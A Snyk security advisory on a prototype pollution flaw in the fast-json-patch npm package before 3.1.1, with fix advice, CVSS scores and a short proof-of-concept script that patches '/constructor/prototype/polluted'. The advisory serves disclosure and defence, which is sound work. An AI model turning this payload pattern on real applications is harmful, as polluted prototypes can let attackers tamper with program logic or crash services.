Prototype Pollution Affecting fast-json-patch package, versions <3.1.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.52% (78th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-FASTJSONPATCH-3182961
  • published 26 Dec 2022
  • disclosed 26 Dec 2022
  • credit Unknown

How to fix?

Upgrade fast-json-patch to version 3.1.1 or higher.

Overview

fast-json-patch is a leaner and meaner implementation of JSON-Patch.

Affected versions of this package are vulnerable to Prototype Pollution via constructor/prototype in fast-json-patch.js.

This is another method to exploit SNYK-JS-FASTJSONPATCH-595663.

PoC

// poc.js
let fastjsonpatch = require("fast-json-patch");
function A() {}
let a = new A();
let b = new A();
console.log("Before : " + a.polluted);
console.log("Before : " + b.polluted);
const patch = [{op: "replace", path: "/constructor/prototype/polluted", value: "Yes! Its Polluted"}];
fastjsonpatch.applyPatch(a, patch);
console.log("After : " + a.polluted);
console.log("After : " + b.polluted);

npm i fast-json-patch   # Install affected module
node poc.js   #  Run the PoC

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical